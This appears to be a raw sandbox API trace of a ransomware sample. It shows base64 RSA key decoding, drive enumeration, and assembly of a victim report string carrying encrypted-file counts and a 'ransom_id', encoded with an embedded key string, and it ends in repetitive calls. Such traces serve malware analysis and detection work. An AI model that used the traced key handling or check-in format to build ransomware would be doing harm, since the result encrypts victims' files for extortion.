(lpString="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu") returned 368 [0169.415] VirtualAlloc (lpAddress=0x0, dwSize=0x171, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000 [0169.415] lstrcpyA (in: lpString1=0x2740000, lpString2="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu" | out: lpString1="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu") returned="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu" [0169.415] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.415] VirtualFree (lpAddress=0x2700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.415] VirtualFree (lpAddress=0x2720000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.415] VirtualFree (lpAddress=0x2710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.415] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0169.415] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.416] VirtualFree (lpAddress=0x8b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.416] VirtualFree (lpAddress=0x8a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.416] VirtualFree (lpAddress=0x3d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.416] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu") returned 368 [0169.416] VirtualAlloc (lpAddress=0x0, dwSize=0x170, flAllocationType=0x3000, flProtect=0x4) returned 0x3d0000 [0169.416] CryptStringToBinaryA (in: pszString="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu", cchString=0x0, dwFlags=0x1, pbBinary=0x3d0000, pcbBinary=0x19fe48, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x3d0000, pcbBinary=0x19fe48, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0169.416] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3e0000 [0169.416] GetTickCount () returned 0x17b16 [0169.416] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1 [0169.417] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1 [0169.417] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0169.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x405c85, lpParameter=0x19fb60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac [0169.417] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0169.417] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0169.417] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0169.417] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0169.417] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0169.417] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0169.417] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0169.417] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0169.417] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0169.418] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0169.418] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0169.418] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0169.418] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0169.418] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0169.418] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0169.418] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0169.418] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0169.418] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0169.418] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0169.418] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0169.418] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0169.418] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0169.419] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0169.419] WaitForMultipleObjects (nCount=0x1, lpHandles=0x19fa60*=0x4ac, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0310.851] GetTickCount () returned 0x3a394 [0310.851] VirtualAlloc (lpAddress=0x0, dwSize=0x4c02, flAllocationType=0x3000, flProtect=0x40) returned 0x1d0000 [0310.855] wsprintfW (in: param_1=0x1d0000, param_2="action=result&e_files=%d&e_size=%I64u&e_time=%d&" | out: param_1="action=result&e_files=1448&e_size=90555830&e_time=141438&") returned 57 [0310.855] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x20019, phkResult=0x19f8a4 | out: phkResult=0x19f8a4*=0x4ec) returned 0x0 [0310.855] RegQueryValueExW (in: hKey=0x4ec, lpValueName="Domain", lpReserved=0x0, lpType=0x0, lpData=0x5c4760, lpcbData=0x19f8b4*=0x80 | out: lpType=0x0, lpData=0x5c4760*=0x0, lpcbData=0x19f8b4*=0x2) returned 0x0 [0310.855] RegCloseKey (hKey=0x4ec) returned 0x0 [0310.855] wsprintfW (in: param_1=0x5c4760, param_2="WORKGROUP" | out: param_1="WORKGROUP") returned 9 [0310.855] GetWindowsDirectoryW (in: lpBuffer=0x50de030, uSize=0x100 | out: lpBuffer="C:\\Windows") returned 0xa [0310.855] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x50de230, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x50de630, lpMaximumComponentLength=0x50de638, lpFileSystemFlags=0x50de634, lpFileSystemNameBuffer=0x50de430, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x50de630*=0xd2ca4def, lpMaximumComponentLength=0x50de638*=0xff, lpFileSystemFlags=0x50de634*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0310.855] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19f8a4 | out: phkResult=0x19f8a4*=0x4ec) returned 0x0 [0310.855] RegQueryValueExW (in: hKey=0x4ec, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x50de63c, lpcbData=0x19f8b4*=0x80 | out: lpType=0x0, lpData=0x50de63c*=0x49, lpcbData=0x19f8b4*=0x54) returned 0x0 [0310.855] RegCloseKey (hKey=0x4ec) returned 0x0 [0310.855] lstrlenW (lpString="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHz") returned 41 [0310.855] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19f8a4 | out: phkResult=0x19f8a4*=0x4ec) returned 0x0 [0310.856] RegQueryValueExW (in: hKey=0x4ec, lpValueName="Identifier", lpReserved=0x0, lpType=0x0, lpData=0x50de68e, lpcbData=0x19f8b4*=0x80 | out: lpType=0x0, lpData=0x50de68e*=0x49, lpcbData=0x19f8b4*=0x4a) returned 0x0 [0310.856] RegCloseKey (hKey=0x4ec) returned 0x0 [0310.856] wsprintfW (in: param_1=0x5c13f0, param_2="%d" | out: param_1="-758493713") returned 10 [0310.856] lstrcatW (in: lpString1="-758493713", lpString2="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" | out: lpString1="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" [0310.858] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77460000 [0310.861] GetProcAddress (hModule=0x77460000, lpProcName="RtlComputeCrc32") returned 0x77486b10 [0310.861] lstrlenW (lpString="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned 87 [0310.861] RtlComputeCrc32 (PartialCrc=0x29a, Buffer=0x5c13f0, Length=0xae) returned 0xdce1bb8b [0310.861] lstrlenW (lpString="WORKGROUP") returned 9 [0310.861] lstrlenW (lpString="pc_group") returned 8 [0310.861] lstrlenW (lpString="action=result&e_files=1448&e_size=90555830&e_time=141438&") returned 57 [0310.861] lstrcatW (in: lpString1="", lpString2="pc_group" | out: lpString1="pc_group") returned="pc_group" [0310.861] lstrcatW (in: lpString1="pc_group", lpString2="=" | out: lpString1="pc_group=") returned="pc_group=" [0310.861] lstrcatW (in: lpString1="pc_group=", lpString2="WORKGROUP" | out: lpString1="pc_group=WORKGROUP") returned="pc_group=WORKGROUP" [0310.861] lstrcatW (in: lpString1="pc_group=WORKGROUP", lpString2="&" | out: lpString1="pc_group=WORKGROUP&") returned="pc_group=WORKGROUP&" [0310.861] VirtualAlloc (lpAddress=0x0, dwSize=0x42, flAllocationType=0x3000, flProtect=0x40) returned 0x1e0000 [0310.864] wsprintfW (in: param_1=0x1e0000, param_2="%x%x" | out: param_1="dce1bb8bd2ca4def") returned 16 [0310.864] lstrcatW (in: lpString1="pc_group=WORKGROUP&", lpString2="ransom_id" | out: lpString1="pc_group=WORKGROUP&ransom_id") returned="pc_group=WORKGROUP&ransom_id" [0310.864] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id", lpString2="=" | out: lpString1="pc_group=WORKGROUP&ransom_id=") returned="pc_group=WORKGROUP&ransom_id=" [0310.864] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=", lpString2="dce1bb8bd2ca4def" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def" [0310.864] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def", lpString2="&" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&" [0310.864] VirtualFree (lpAddress=0x1e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0310.866] lstrlenW (lpString="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned 46 [0310.866] lstrlenW (lpString="action=result&e_files=1448&e_size=90555830&e_time=141438&pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def") returned 102 [0310.866] lstrlenA (lpString="aeriedjD#shasj") returned 14 [0310.866] CryptBinaryToStringA (in: pbBinary=0x1d0000, cbBinary=0xcc, dwFlags=0x40000001, pszString=0x1d0800, pcchString=0x19fa20 | out: pszString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G", pcchString=0x19fa20) returned 1 [0310.866] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.866] VirtualAlloc (lpAddress=0x0, dwSize=0x114, flAllocationType=0x3000, flProtect=0x40) returned 0x1e0000 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.869] lstrlenA 